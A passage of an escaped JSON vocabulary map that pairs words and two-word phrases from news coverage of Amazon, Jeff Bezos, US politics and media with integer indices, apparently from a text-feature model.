8453,\n  \"trajectory\": 8454,\n  \"cnn politics\": 8455,\n  \"termism\": 8456,\n  \"dreidel company\": 8457,\n  \"ore wants\": 8458,\n  \"strategist 2018\": 8459,\n  \"veterans affairs\": 8460,\n  \"host anderson\": 8461,\n  \"hawaii cnn\": 8462,\n  \"sided coverage\": 8463,\n  \"future neighbors\": 8464,\n  \"significant anti\": 8465,\n  \"member andy\": 8466,\n  \"fox news\": 8467,\n  \"amazon bobby\": 8468,\n  \"iduskcn1ly16z\": 8469,\n  \"assemble\": 8470,\n  \"app remains\": 8471,\n  \"wannabe horror\": 8472,\n  \"100 employees\": 8473,\n  \"prices proposals\": 8474,\n  \"gluey substances\": 8475,\n  \"shipping real\": 8476,\n  \"committee subcommittee\": 8477,\n  \"favors\": 8478,\n  \"w0q0fg0otk seth\": 8479,\n  \"collective sense\": 8480,\n  \"degrade\": 8481,\n  \"street guru\": 8482,\n  \"global print\": 8483,\n  \"environmental reasons\": 8484,\n  \"bezos ami\": 8485,\n  \"dol\\u0161ak\": 8486,\n  \"female yes\": 8487,\n  \"rupkey chief\": 8488,\n  \"power wasn\": 8489,\n  \"yesterday wrote\": 8490,\n  \"contribution early\": 8491,\n  \"42496460 960x0\": 8492,\n  \"new treat\": 8493,\n  \"jedi bidders\": 8494,\n  \"helms\": 8495,\n  \"lohr\": 8496,\n  \"intense competition\": 8497,\n  \"addabbo believes\": 8498,\n  \"gawande 2009\": 8499,\n  \"week tried\": 8500,\n  \"wpix tv\": 8501,\n  \"offer artificial\": 8502,\n  \"facilitated inflow\": 8503,\n  \"1vj1jfquyc\": 8504,\n  \"night statement\": 8505,\n  \"wong north\": 8506,\n  \"humor\": 8507,\n  \"understand reality\": 8508,\n  \"var l8\": 8509,\n  \"countries torel\": 8510,\n  \"mind boggling\": 8511,\n  \"keith ellison\": 8512,\n  \"president missed\": 8513,\n  \"note\": 8514,\n  \"publicly named\": 8515,\n  \"spokesman added\": 8516,\n  \"reviews film\": 8517,\n  \"year parents\": 8518,\n  \"facebook investor\": 8519,\n  \"fmcsa published\": 8520,\n  \"drive usa\": 8521,\n  \"logo amafonz\": 8522,\n  \"certain demographics\": 8523,\n  \"biodiversity worldwide\": 8524,\n  \"nyt battle\": 8525,\n  \"highest homeless\": 8526,\n  \"child bearing\": 8527,\n  \"violence sulzberger\": 8528,\n  \"trampling indigenous\": 8529,\n  \"politics twitter\": 8530,\n  \"devries\": 8531,\n  \"executive dow\": 8532,\n  \"customers outside\": 8533,\n  \"internal meeting\": 8534,\n  \"spotty\": 8535,\n  \"fireside\": 8536,\n  \"d1duukadczlbnn\": 8537,\n  \"adobe products\": 8538,\n  \"ac 360\": 8539,\n  \"year yearly\": 8540,\n  \"lower chamber\": 8541,\n  \"enquirer network\": 8542,\n  \"email lnahmias\": 8543,\n  \"american cities\": 8544,\n  \"plans incorporated\": 8545,\n  \"policy changes\": 8546,\n  \"icann reforms\": 8547,\n  \"post today\": 8548,\n  \"648\": 8549,\n  \"need legitimacy\": 8550,\n  \"platform shopping\": 8551,\n  \"did amazon\": 8552,\n  \"sawn oak\": 8553,\n  \"medicare public\": 8554,\n  \"reich explains\": 8555,\n  \"probably available\": 8556,\n  \"shares amazon\": 8557,\n  \"shown kissing\": 8558,\n  \"bonanza triggered\": 8559,\n  \"war markets\": 8560,\n  \"active sellers\": 8561,\n  \"reporter wall\": 8562,\n  \"advisors llc\": 8563,\n  \"try using\": 8564,\n  \"earmarked\": 8565,\n  \"post nuptial\": 8566,\n  \"recent tgv\": 8567,\n  \"francisco additional\": 8568,\n  \"narrators\": 8569,\n  \"press russia\": 8570,\n  \"priya singh\": 8571,\n  \"tasty lookin\": 8572,\n  \"smith\": 8573,\n  \"falling asleep\": 8574,\n  \"trump did\": 8575,\n  \"african museums\": 8576,\n  \"amd chips\": 8577,\n  \"montessori principles\": 8578,\n  \"atkins\": 8579,\n  \"government funded\": 8580,\n  \"wing public\": 8581,\n  \"house representatives\": 8582,\n  \"hands jeff\": 8583,\n  \"country increasingly\": 8584,\n  \"giving evidence\": 8585,\n  \"hamilton place\": 8586,\n  \"writing secret\": 8587,\n  \"stingy\": 8588,\n  \"clapped\": 8589,\n  \"unexpected opportunities\": 8590,\n  \"asking specifically\": 8591,\n  \"city 2017\": 8592,\n  \"flag different\": 8593,\n  \"tarby\": 8594,\n  \"drive high\": 8595,\n  \"article37487877\": 8596,\n  \"boycottebay gerald\": 8597,\n  \"immediately different\": 8598,\n  \"medicine corey\": 8599,\n  \"hugenesses\": 8600,\n  \"remember thousands\": 8601,\n  \"amap\\u00e1\": 8602,\n  \"ongoing purge\": 8603,\n  \"miami customers\": 8604,\n  \"points president\": 8605,\n  \"strive\": 8606,\n  \"advice seeing\": 8607,\n  \"typical approvals\": 8608,\n  \"allegations venezuela\": 8609,\n  \"digital landscape\": 8610,\n  \"nose\": 8611,\n  \"smack\": 8612,\n  \"apprentice tapes\": 8613,\n  \"kept mackenzie\": 8614,\n  \"currently covering\": 8615,\n  \"joanna gaines\": 8616,\n  \"guyana\": 8617,\n  \"lobby trump\": 8618,\n  \"abortion affirmative\": 8619,\n  \"inquisitr reported\": 8620,\n  \"netflix cravetv\": 8621,\n  \"toronto second\": 8622,\n  \"millie\": 8623,\n  \"phones\": 8624,\n  \"state think\": 8625,\n  \"shot late\": 8626,\n  \"exculpatory evidence\": 8627,\n  \"cargo hub\": 8628,\n  \"charles duhigg\": 8629,\n  \"447 worth\": 8630,\n  \"alive unheard\": 8631,\n  \"breaks ground\": 8632,\n  \"medium entitled\": 8633,\n  \"speaker pelosi\": 8634,\n  \"reportedly explored\": 8635,\n  \"florida nevada\": 8636,\n  \"meaningful action\": 8637,\n  \"art collectors\": 8638,\n  \"katharine graham\": 8639,\n  \"analyst noted\": 8640,\n  \"incur extra\": 8641,\n  \"marginal impact\": 8642,\n  \"higher quality\": 8643,\n  \"inviting increasing\": 8644,\n  \"logging indigenous\": 8645,\n  \"labor dispute\": 8646,\n  \"air gateways\": 8647,\n  \"john gress\": 8648,\n  \"entire year\": 8649,\n  \"yahoo news\": 8650,\n  \"vince\": 8651,\n  \"read netflix\": 8652,\n  \"outposts equipped\": 8653,\n  \"immediately visit\": 8654,\n  \"mccain obama\": 8655,\n  \"expenses\": 8656,\n  \"function d4\": 8657,\n  \"200 positions\": 8658,\n  \"holland historic\": 8659,\n  \"results antitrust\": 8660,\n  \"provocateur\": 8661,\n  \"read vivek\": 8662,\n  \"tailored suits\": 8663,\n  \"campaign insiders\": 8664,\n  \"ernst intalled\": 8665,\n  \"evading\": 8666,\n  \"current mayor\": 8667,\n  \"street responded\": 8668,\n  \"mansion amazon\": 8669,\n  \"expectations following\": 8670,\n  \"current numbers\": 8671,\n  \"requiring companies\": 8672,\n  \"editorial cartoon\": 8673,\n  \"expected retail\": 8674,\n  \"day outage\": 8675,\n  \"us52 billion\": 8676,\n  \"rosslyn resident\": 8677,\n  \"contract worth\": 8678,\n  \"lists young\": 8679,\n  \"type loans\": 8680,\n  \"charge taxes\": 8681,\n  \"administration led\": 8682,\n  \"buettner\": 8683,\n  \"capital mngmt\": 8684,\n  \"bureau cfpb\": 8685,\n  \"outmaneuvered\": 8686,\n  \"summits\": 8687,\n  \"762\": 8688,\n  \"cayne turned\": 8689,\n  \"ansolabehere\": 8690,\n  \"beyonc\\u00e9 reinforces\": 8691,\n  \"typically recover\": 8692,\n  \"bends\": 8693,\n  \"657\": 8694,\n  \"zuckerberg steadiness\": 8695,\n  \"says unfairly\": 8696,\n  \"vietnamese restaurant\": 8697,\n  \"aggressively pursuing\": 8698,\n  \"todd host\": 8699,\n  \"betrayal maybe\": 8700,\n  \"staff rely\": 8701,\n  \"bezos complete\": 8702,\n  \"obama uses\": 8703,\n  \"current responses\": 8704,\n  \"works public\": 8705,\n  \"vandehei\": 8706,\n  \"warren rode\": 8707,\n  \"trump ascension\": 8708,\n  \"president issued\": 8709,\n  \"aclu amazon\": 8710,\n  \"conduction\": 8711,\n  \"ex lawyer\": 8712,\n  \"cambridge analytica\": 8713,\n  \"herera nightly\": 8714,\n  \"service hundreds\": 8715,\n  \"think history\": 8716,\n  \"distribute share\": 8717,\n  \"actively ignore\": 8718,\n  \"clouds gathering\": 8719,\n  \"campaign document\": 8720,\n  \"engine market\": 8721,\n  \"dramatic\": 8722,\n  \"paint job\": 8723,\n  \"spy machine\": 8724,\n  \"philanthropy believe\": 8725,\n  \"phosphonate chemical\": 8726,\n  \"purveying\": 8727,\n  \"military spending\": 8728,\n  \"france african\": 8729,\n  \"hathaway brka\": 8730,\n  \"mechanical\": 8731,\n  \"environmental agreements\": 8732,\n  \"donna romney\": 8733,\n  \"important data\": 8734,\n  \"nvidia\": 8735,\n  \"common charge\": 8736,\n  \"original tv\": 8737,\n  \"nascent\": 8738,\n  \"great time\": 8739,\n  \"dana\": 8740,\n  \"support child\": 8741,\n  \"simpsons\": 8742,\n  \"campbell talks\": 8743,\n  \"county portion\": 8744,\n  \"state joel\": 8745,\n  \"wailing wall\": 8746,\n  \"automation tools\": 8747,\n  \"model european\": 8748,\n  \"jwn\": 8749,\n  \"felt horrible\": 8750,\n  \"district view\": 8751,\n  \"david mercer\": 8752,\n  \"american champion\": 8753,\n  \"396\": 8754,\n  \"gusts cause\": 8755,\n  \"avid supporter\": 8756,\n  \"givenchy\": 8757,\n  \"uw quad\": 8758,\n  \"trustees voted\": 8759,\n  \"include physical\": 8760,\n  \"hike short\": 8761,\n  \"charged know\": 8762,\n  \"great american\": 8763,\n  \"central african\": 8764,\n  \"lower profile\": 8765,\n  \"hazardous rail\": 8766,\n  \"practices administration\": 8767,\n  \"believes backdoor\": 8768,\n  \"hostile atmosphere\": 8769,\n  \"physical barrier\": 8770,\n  \"organization finally\": 8771,\n  \"allow isps\": 8772,\n  \"blues eliana\": 8773,\n  \"board vote\": 8774,\n  \"hall speakers\": 8775,\n  \"administers government\": 8776,\n  \"netflix determined\": 8777,\n  \"stanage\": 8778,\n  \"leave workers\": 8779,\n  \"gb e0\": 8780,\n  \"club resist\": 8781,\n  \"airport style\": 8782,\n  \"google chief\": 8783,\n  \"just target\": 8784,\n  \"shirts sporting\": 8785,\n  \"quotient aq\": 8786,\n  \"fully understands\": 8787,\n  \"600mil\": 8788,\n  \"questions republicans\": 8789,\n  \"measure\": 8790,\n  \"latino students\": 8791,\n  \"filing season\": 8792,\n  \"instantly assume\": 8793,\n  \"markets extended\": 8794,\n  \"political leanings\": 8795,\n  \"reach customers\": 8796,\n  \"pro business\": 8797,\n  \"duty sen\": 8798,\n  \"city bid\": 8799,\n  \"catz complained\": 8800,\n  \"onewest foreclosures\": 8801,\n  \"throws allegations\": 8802,\n  \"rnc ronna\": 8803,\n  \"semiconductors\": 8804,\n  \"imagine kavanaugh\": 8805,\n  \"numbers cuomo\": 8806,\n  \"fighting crime\": 8807,\n  \"oushe airs\": 8808,\n  \"asks alexa\": 8809,\n  \"amid\": 8810,\n  \"worldcup\": 8811,\n  \"day according\": 8812,\n  \"exposed republicans\": 8813,\n  \"facilitating\": 8814,\n  \"covucci david\": 8815,\n  \"shares campbell\": 8816,\n  \"largest stockholder\": 8817,\n  \"income women\": 8818,\n  \"mail letters\": 8819,\n  \"kcdevilmagic\": 8820,\n  \"successfully implemented\": 8821,\n  \"story playbook\": 8822,\n  \"single person\": 8823,\n  \"counter intuitive\": 8824,\n  \"focus instead\": 8825,\n  \"lorena amazon\": 8826,\n  \"collects state\": 8827,\n  \"chiefly\": 8828,\n  \"host agency\": 8829,\n  \"market instead\": 8830,\n  \"hot spots\": 8831,\n  \"statement versus\": 8832,\n  \"called brand\": 8833,\n  \"story today\": 8834,\n  \"newsworthy\": 8835,\n  \"division shocking\": 8836,\n  \"treasury notes\": 8837,\n  \"streets south\": 8838,\n  \"powering trump\": 8839,\n  \"brown young\": 8840,\n  \"wealth embedded\": 8841,\n  \"sporkful\": 8842,\n  \"employees developing\": 8843,\n  \"document released\": 8844,\n  \"giving spirit\": 8845,\n  \"craft regulations\": 8846,\n  \"decision today\": 8847,\n  \"beyonce nutrition\": 8848,\n  \"far ruled\": 8849,\n  \"campaign financing\": 8850,\n  \"coveted pentagon\": 8851,\n  \"middlesex\": 8852,\n  \"hacking\": 8853,\n  \"include fake\": 8854,\n  \"apple confusion\": 8855,\n  \"director dead\": 8856,\n  \"supports projects\": 8857,\n  \"organizational session\": 8858,\n  \"proposing public\": 8859,\n  \"size president\": 8860,\n  \"correspondence calling\": 8861,\n  \"overshadow competitors\": 8862,\n  \"raton explores\": 8863,\n  \"sonne wapo\": 8864,\n  \"clinton mail\": 8865,\n  \"internet activists\": 8866,\n  \"pregnancy omg\": 8867,\n  \"xlsxh1xyny business\": 8868,\n  \"trump resents\": 8869,\n  \"straightforward pricing\": 8870,\n  \"deal ain\": 8871,\n  \"rescued politically\": 8872,\n  \"healthcare advertising\": 8873,\n  \"attorney won\": 8874,\n  \"female governors\": 8875,\n  \"mainstream conservative\": 8876,\n  \"encouraging aspiring\": 8877,\n  \"motto commit\": 8878,\n  \"fan clubs\": 8879,\n  \"strong retailers\": 8880,\n  \"priciest\": 8881,\n  \"secretary brezhnev\": 8882,\n  \"money schemes\": 8883,\n  \"000 operating\": 8884,\n  \"wild west\": 8885,\n  \"algorithm jason\": 8886,\n  \"took\": 8887,\n  \"long live\": 8888,\n  \"yahoo view\": 8889,\n  \"start celebrating\": 8890,\n  \"fall creators\": 8891,\n  \"largest workforce\": 8892,\n  \"mike doyle\": 8893,\n  \"potential role\": 8894,\n  \"press briefings\": 8895,\n  \"different ones\": 8896,\n  \"bestseller\": 8897,\n  \"skdknickerbocker executives\": 8898,\n  \"keeping taxes\": 8899,\n  \"finance article\": 8900,\n  \"stolen keith\": 8901,\n  \"monitoring carefully\": 8902,\n  \"developments providing\": 8903,\n  \"ongoing russia\": 8904,\n  \"1960 style\": 8905,\n  \"wing conservatives\": 8906,\n  \"information usually\": 8907,\n  \"bruce linton\": 8908,\n  \"owner newspaper\": 8909,\n  \"sorry fell\": 8910,\n  \"0000\": 8911,\n  \"horizon skift\": 8912,\n  \"election ap\": 8913,\n  \"playtime greer\": 8914,\n  \"impracticable\": 8915,\n  \"news conferences\": 8916,\n  \"president feelings\": 8917,\n  \"overview\": 8918,\n  \"flagship trade\": 8919,\n  \"manhood\": 8920,\n  \"corrugated cardboard\": 8921,\n  \"american af\": 8922,\n  \"centers sound\": 8923,\n  \"norris told\": 8924,\n  \"electoral victory\": 8925,\n  \"market stresses\": 8926,\n  \"critical intermediaries\": 8927,\n  \"brand birkenstock\": 8928,\n  \"2019 investors\": 8929,\n  \"modification\": 8930,\n  \"bezos vast\": 8931,\n  \"host small\": 8932,\n  \"set trump\": 8933,\n  \"gonna win\": 8934,\n  \"yorker reporter\": 8935,\n  \"surprises\": 8936,\n  \"saving commitment\": 8937,\n  \"quarter private\": 8938,\n  \"receive multiple\": 8939,\n  \"wouldn need\": 8940,\n  \"vinograd turns\": 8941,\n  \"earlier\": 8942,\n  \"offered advice\": 8943,\n  \"best meet\": 8944,\n  \"checkers\": 8945,\n  \"poorly apparently\": 8946,\n  \"form affirming\": 8947,\n  \"grand wizard\": 8948,\n  \"unsealed\": 8949,\n  \"claudette barius\": 8950,\n  \"threat right\": 8951,\n  \"kasie\": 8952,\n  \"jaw dropper\": 8953,\n  \"towers instead\": 8954,\n  \"heroes stan\": 8955,\n  \"wrongly conclude\": 8956,\n  \"people muslims\": 8957,\n  \"possible reception\": 8958,\n  \"mobilized\": 8959,\n  \"sebastian utilizing\": 8960,\n  \"sharply increase\": 8961,\n  \"aides\": 8962,\n  \"space rocket\": 8963,\n  \"stop digging\": 8964,\n  \"states district\": 8965,\n  \"american products\": 8966,\n  \"johnston reporter\": 8967,\n  \"played baseball\": 8968,\n  \"force package\": 8969,\n  \"theus\": 8970,\n  \"shutdown\": 8971,\n  \"amazon track\": 8972,\n  \"value canopy\": 8973,\n  \"worst case\": 8974,\n  \"bryan pagliano\": 8975,\n  \"robotic voice\": 8976,\n  \"shortened week\": 8977,\n  \"public property\": 8978,\n  \"charm offensive\": 8979,\n  \"guaido\": 8980,\n  \"facts forbes\": 8981,\n  \"negotiated walker\": 8982,\n  \"epithet\": 8983,\n  \"york emergency\": 8984,\n  \"simple money\": 8985,\n  \"market shen\": 8986,\n  \"enjoyed increased\": 8987,\n  \"new requirement\": 8988,\n  \"called private\": 8989,\n  \"3275 aut_name\": 8990,\n  \"suspended following\": 8991,\n  \"reimburse amazon\": 8992,\n  \"year looking\": 8993,\n  \"john brennan\": 8994,\n  \"candidates debate\": 8995,\n  \"live guest\": 8996,\n  \"debates bezos\": 8997,\n  \"shoppers network\": 8998,\n  \"bob spitz\": 8999,\n  \"home affairs\": 9000,\n  \"usatoda navy\": 9001,\n  \"tax money\": 9002,\n  \"extraordinarily unusual\": 9003,\n  \"editors responsible\": 9004,\n  \"lasser base\": 9005,\n  \"article continues\": 9006,\n  \"llc based\": 9007,\n  \"rekognition regarding\": 9008,\n  \"needs access\": 9009,\n  \"cnl_global_nav_background_color\": 9010,\n  \"dartmouth college\": 9011,\n  \"finished shaping\": 9012,\n  \"argument wasn\": 9013,\n  \"1552 bought\": 9014,\n  \"u2x m8\": 9015,\n  \"press criminal\": 9016,\n  \"company avoided\": 9017,\n  \"recreational drug\": 9018,\n  \"connected texas\": 9019,\n  \"make neighborhoods\": 9020,\n  \"leads crowd\": 9021,\n  \"story nutanix\": 9022,\n  \"meet blaise\": 9023,\n  \"american collective\": 9024,\n  \"trump jumped\": 9025,\n  \"programs sanders\": 9026,\n  \"trump declares\": 9027,\n  \"huge fan\": 9028,\n  \"antitrust officials\": 9029,\n  \"length 15661\": 9030,\n  \"treasury proposed\": 9031,\n  \"true journalism\": 9032,\n  \"conspiracy facebook\": 9033,\n  \"amazon single\": 9034,\n  \"rigging\": 9035,\n  \"napoleon dynamite\": 9036,\n  \"couldn care\": 9037,\n  \"pleaded\": 9038,\n  \"manor neighborhood\": 9039,\n  \"online censorship\": 9040,\n  \"satire\": 9041,\n  \"just million\": 9042,\n  \"acuity systems\": 9043,\n  \"official mary\": 9044,\n  \"believed michael\": 9045,\n  \"fat acid\": 9046,\n  \"embarrassing text\": 9047,\n  \"nixon white\": 9048,\n  \"large american\": 9049,\n  \"deep financial\": 9050,\n  \"zamonski ocala\": 9051,\n  \"president climate\": 9052,\n  \"sinclair broadcasting\": 9053,\n  \"growing private\": 9054,\n  \"houldsworth\": 9055,\n  \"pit bulls\": 9056,\n  \"censorship jeff\": 9057,\n  \"midterms midterm\": 9058,\n  \"a4ee a1\": 9059,\n  \"course heavily\": 9060,\n  \"sobering glimpse\": 9061,\n  \"dorsey noted\": 9062,\n  \"sell appliances\": 9063,\n  \"business advocate\": 9064,\n  \"wsfolders\": 9065,\n  \"obscure\": 9066,\n  \"51492 aut_twitter_id\": 9067,\n  \"omar story\": 9068,\n  \"yale\": 9069,\n  \"reported 55m\": 9070,\n  \"katchen wealthsimple\": 9071,\n  \"benefit amazon\": 9072,\n  \"think lot\": 9073,\n  \"diversify\": 9074,\n  \"congressional requirements\": 9075,\n  \"time congratulated\": 9076,\n  \"unique opportunity\": 9077,\n  \"566 000\": 9078,\n  \"sketchy deals\": 9079,\n  \"foxconn obviously\": 9080,\n  \"jeffries calls\": 9081,\n  \"sinnet owns\": 9082,\n  \"times greater\": 9083,\n  \"content movies\": 9084,\n  \"second interested\": 9085,\n  \"ballot line\": 9086,\n  \"afp juan\": 9087,\n  \"partnership offers\": 9088,\n  \"conditions employees\": 9089,\n  \"texas helicopter\": 9090,\n  \"politics called\": 9091,\n  \"blitzkrieg blog\": 9092,\n  \"service fy17\": 9093,\n  \"medium outlining\": 9094,\n  \"major loss\": 9095,\n  \"broader market\": 9096,\n  \"bezos kept\": 9097,\n  \"basic premise\": 9098,\n  \"michelle miller\": 9099,\n  \"life movie\": 9100,\n  \"bowl bezos\": 9101,\n  \"president theenquirer\": 9102,\n  \"growing set\": 9103,\n  \"pixar movie\": 9104,\n  \"soliciting bribe\": 9105,\n  \"savino\": 9106,\n  \"opinion brian\": 9107,\n  \"world scenarios\": 9108,\n  \"sam samswhey\": 9109,\n  \"app crashed\": 9110,\n  \"chewing performances\": 9111,\n  \"trump territory\": 9112,\n  \"streaming market\": 9113,\n  \"announced apple\": 9114,\n  \"iconic\": 9115,\n  \"million consumer\": 9116,\n  \"fedex pared\": 9117,\n  \"implication sought\": 9118,\n  \"liam denning\": 9119,\n  \"exactly try\": 9120,\n  \"basically\": 9121,\n  \"cities rich\": 9122,\n  \"topics guns\": 9123,\n  \"presumably\": 9124,\n  \"reportedly visited\": 9125,\n  \"residents rep\": 9126,\n  \"term traders\": 9127,\n  \"human passengers\": 9128,\n  \"category despite\": 9129,\n  \"stops streaming\": 9130,\n  \"speculation amazon\": 9131,\n  \"high places\": 9132,\n  \"attempt related\": 9133,\n  \"leftward lurch\": 9134,\n  \"state assembly\": 9135,\n  \"appointments\": 9136,\n  \"smore reaction\": 9137,\n  \"cancelled wrote\": 9138,\n  \"delivery invalid\": 9139,\n  \"river rose\": 9140,\n  \"particular type\": 9141,\n  \"years additionally\": 9142,\n  \"writer taxi\": 9143,\n  \"volunteered\": 9144,\n  \"blonds\": 9145,\n  \"create monopoly\": 9146,\n  \"saudi embassy\": 9147,\n  \"trippet\": 9148,\n  \"cruising\": 9149,\n  \"scale headlineposttext\": 9150,\n  \"amzn commerce\": 9151,\n  \"billmurphyjr sectionection\": 9152,\n  \"members 98point6\": 9153,\n  \"fathom\": 9154,\n  \"boycottwalmart walmart\": 9155,\n  \"host chris\": 9156,\n  \"day key\": 9157,\n  \"zinke aide\": 9158,\n  \"rentiers\": 9159,\n  \"business retailers\": 9160,\n  \"x8\": 9161,\n  \"raucous\": 9162,\n  \"technically employees\": 9163,\n  \"efficiency according\": 9164,\n  \"321 pictures\": 9165,\n  \"bigots\": 9166,\n  \"permitted comments\": 9167,\n  \"california told\": 9168,\n  \"enter president\": 9169,\n  \"smithbridge asset\": 9170,\n  \"seen growth\": 9171,\n  \"companies optimize\": 9172,\n  \"satisfied just\": 9173,\n  \"snowden\": 9174,\n  \"vadim ghirda\": 9175,\n  \"today najib\": 9176,\n  \"buskers\": 9177,\n  \"spring speculation\": 9178,\n  \"national bureau\": 9179,\n  \"newspaper murdoch\": 9180,\n  \"amzn doesn\": 9181,\n  \"construction grants\": 9182,\n  \"1890 congressed\": 9183,\n  \"mercury\": 9184,\n  \"account source\": 9185,\n  \"syrian rebels\": 9186,\n  \"discounted vehicles\": 9187,\n  \"medical building\": 9188,\n  \"owns posted\": 9189,\n  \"awkward eleanor\": 9190,\n  \"milestone amazon\": 9191,\n  \"brace\": 9192,\n  \"aws kindle\": 9193,\n  \"nation political\": 9194,\n  \"today include\": 9195,\n  \"dot balls\": 9196,\n  \"group u2\": 9197,\n  \"experience otting\": 9198,\n  \"plan expired\": 9199,\n  \"city section\": 9200,\n  \"overall number\": 9201,\n  \"strife\": 9202,\n  \"series beatriz\": 9203,\n  \"hob nobbed\": 9204,\n  \"simply need\": 9205,\n  \"amazon huh\": 9206,\n  \"british financial\": 9207,\n  \"boost gop\": 9208,\n  \"statement issued\": 9209,\n  \"speech warren\": 9210,\n  \"story mimi\": 9211,\n  \"scripts possibly\": 9212,\n  \"279\": 9213,\n  \"greatly expanding\": 9214,\n  \"york committed\": 9215,\n  \"shipping revenue\": 9216,\n  \"work things\": 9217,\n  \"commission pick\": 9218,\n  \"najaf\": 9219,\n  \"post perennial\": 9220,\n  \"amzn free\": 9221,\n  \"rural counties\": 9222,\n  \"discharges\": 9223,\n  \"memorable moments\": 9224,\n  \"redevelop site\": 9225,\n  \"sock tariffs\": 9226,\n  \"shanghai tesla\": 9227,\n  \"richard rick\": 9228,\n  \"readers truthout\": 9229,\n  \"harir\": 9230,\n  \"purchases regardless\": 9231,\n  \"tempts\": 9232,\n  \"enforcement agent\": 9233,\n  \"spreading fake\": 9234,\n  \"rescue specialists\": 9235,\n  \"dakota oklahoma\": 9236,\n  \"innovation enterprise\": 9237,\n  \"workers party\": 9238,\n  \"policymaking\": 9239,\n  \"rollercoaster events\": 9240,\n  \"report division\": 9241,\n  \"hb40\": 9242,\n  \"musk eric\": 9243,\n  \"amazon congress\": 9244,\n  \"amazon banning\": 9245,\n  \"mean increased\": 9246,\n  \"slightly missing\": 9247,\n  \"pf_rd_s merchandised\": 9248,\n  \"slightly better\": 9249,\n  \"consisted\": 9250,\n  \"nation address\": 9251,\n  \"york casually\": 9252,\n  \"better shape\": 9253,\n  \"plane shot\": 9254,\n  \"possible motives\": 9255,\n  \"gaap net\": 9256,\n  \"away business\": 9257,\n  \"stings\": 9258,\n  \"program indicators\": 9259,\n  \"mike myers\": 9260,\n  \"sa gage\": 9261,\n  \"attract employees\": 9262,\n  \"arpu lower\": 9263,\n  \"mayor keisha\": 9264,\n  \"basically blaming\": 9265,\n  \"service interruption\": 9266,\n  \"entities meeting\": 9267,\n  \"tourist waving\": 9268,\n  \"extensive high\": 9269,\n  \"improvements alibaba\": 9270,\n  \"million pledge\": 9271,\n  \"m8\": 9272,\n  \"ontwitter calling\": 9273,\n  \"upcoming second\": 9274,\n  \"retroactively\": 9275,\n  \"2016 national\": 9276,\n  \"pulling scam\": 9277,\n  \"mickler michael\": 9278,\n  \"biolite headlamp\": 9279,\n  \"washington home\": 9280,\n  \"helps travelers\": 9281,\n  \"rica del\": 9282,\n  \"founder jeffrey\": 9283,\n  \"global conspiracy\": 9284,\n  \"density\": 9285,\n  \"indigenous perspective\": 9286,\n  \"deadly crash\": 9287,\n  \"source cnbc\": 9288,\n  \"continuously look\": 9289,\n  \"police car\": 9290,\n  \"various instruments\": 9291,\n  \"inextricably\": 9292,\n  \"old gamer\": 9293,\n  \"tax rate\": 9294,\n  \"walter nancy\": 9295,\n  \"exhibit seasonality\": 9296,\n  \"refineries suncor\": 9297,\n  \"vital arts\": 9298,\n  \"bloc\": 9299,\n  \"nce\": 9300,\n  \"columbia\": 9301,\n  \"privacy rules\": 9302,\n  \"cinder girl\": 9303,\n  \"oregon couple\": 9304,\n  \"delivery startups\": 9305,\n  \"7ab7ujklw9\": 9306,\n  \"investigating using\": 9307,\n  \"company service\": 9308,\n  \"report examined\": 9309,\n  \"longtime republican\": 9310,\n  \"particular metropolis\": 9311,\n  \"investigation kelly\": 9312,\n  \"google hints\": 9313,\n  \"height 619\": 9314,\n  \"dpid 41cgljgol2l\": 9315,\n  \"mega successful\": 9316,\n  \"rates directing\": 9317,\n  \"electoral chances\": 9318,\n  \"immediately respond\": 9319,\n  \"fired president\": 9320,\n  \"prns llc\": 9321,\n  \"infected tissue\": 9322,\n  \"fact dershowitz\": 9323,\n  \"long sleeved\": 9324,\n  \"trust fund\": 9325,\n  \"block new\": 9326,\n  \"potential blow\": 9327,\n  \"weren sufficient\": 9328,\n  \"sachs david\": 9329,\n  \"gallerytitle\": 9330,\n  \"near week\": 9331,\n  \"spanish civil\": 9332,\n  \"stamps medicaid\": 9333,\n  \"cascading scandals\": 9334,\n  \"currently going\": 9335,\n  \"allow callers\": 9336,\n  \"net bookings\": 9337,\n  \"people craw\": 9338,\n  \"entrepreneurs launch\": 9339,\n  \"pro reality\": 9340,\n  \"detect bad\": 9341,\n  \"unsound\": 9342,\n  \"new fulfillment\": 9343,\n  \"supermicro motherboards\": 9344,\n  \"clothing jewelry\": 9345,\n  \"priebus\": 9346,\n  \"distribution process\": 9347,\n  \"herera tomorrow\": 9348,\n  \"confuse\": 9349,\n  \"popular place\": 9350,\n  \"chemical romance\": 9351,\n  \"leslie takes\": 9352,\n  \"customers searching\": 9353,\n  \"cbs severe\": 9354,\n  \"company deal\": 9355,\n  \"usps shipping\": 9356,\n  \"member paul\": 9357,\n  \"briefly\": 9358,\n  \"having supported\": 9359,\n  \"oligarchs liberals\": 9360,\n  \"trial kicks\": 9361,\n  \"campaign spontaneously\": 9362,\n  \"party officials\": 9363,\n  \"motivates staff\": 9364,\n  \"times reporter\": 9365,\n  \"incentives package\": 9366,\n  \"asian mkts\": 9367,\n  \"eventually ciecko\": 9368,\n  \"egypt exiles\": 9369,\n  \"invests money\": 9370,\n  \"trump adult\": 9371,\n  \"uber lyft\": 9372,\n  \"investigations spokesman\": 9373,\n  \"years irs\": 9374,\n  \"sized\": 9375,\n  \"wifi\": 9376,\n  \"campanelli\": 9377,\n  \"earl ofari\": 9378,\n  \"rebates\": 9379,\n  \"solutions michael\": 9380,\n  \"holdings dillon\": 9381,\n  \"trump holds\": 9382,\n  \"insulted woman\": 9383,\n  \"vanessa kirby\": 9384,\n  \"shipping market\": 9385,\n  \"sciences names\": 9386,\n  \"valley luminaries\": 9387,\n  \"previous level\": 9388,\n  \"nash 39m\": 9389,\n  \"mayor durkan\": 9390,\n  \"sarlin benjysarlin\": 9391,\n  \"sequel trump\": 9392,\n  \"marketplaces amazon\": 9393,\n  \"000 annually\": 9394,\n  \"kudlow wanted\": 9395,\n  \"delves closer\": 9396,\n  \"bezos sure\": 9397,\n  \"face bezos\": 9398,\n  \"government stalemate\": 9399,\n  \"met amazon\": 9400,\n  \"local law\": 9401,\n  \"digitally hungry\": 9402,\n  \"second perspective\": 9403,\n  \"zone day\": 9404,\n  \"ivy league\": 9405,\n  \"invesco holds\": 9406,\n  \"subsidizes amazon\": 9407,\n  \"rent operating\": 9408,\n  \"opened obstruction\": 9409,\n  \"852\": 9410,\n  \"provides technology\": 9411,\n  \"coming investment\": 9412,\n  \"ago editorial\": 9413,\n  \"payback amazon\": 9414,\n  \"emailed lawyer\": 9415,\n  \"isn real\": 9416,\n  \"richest person\": 9417,\n  \"infringe\": 9418,\n  \"just embarrassed\": 9419,\n  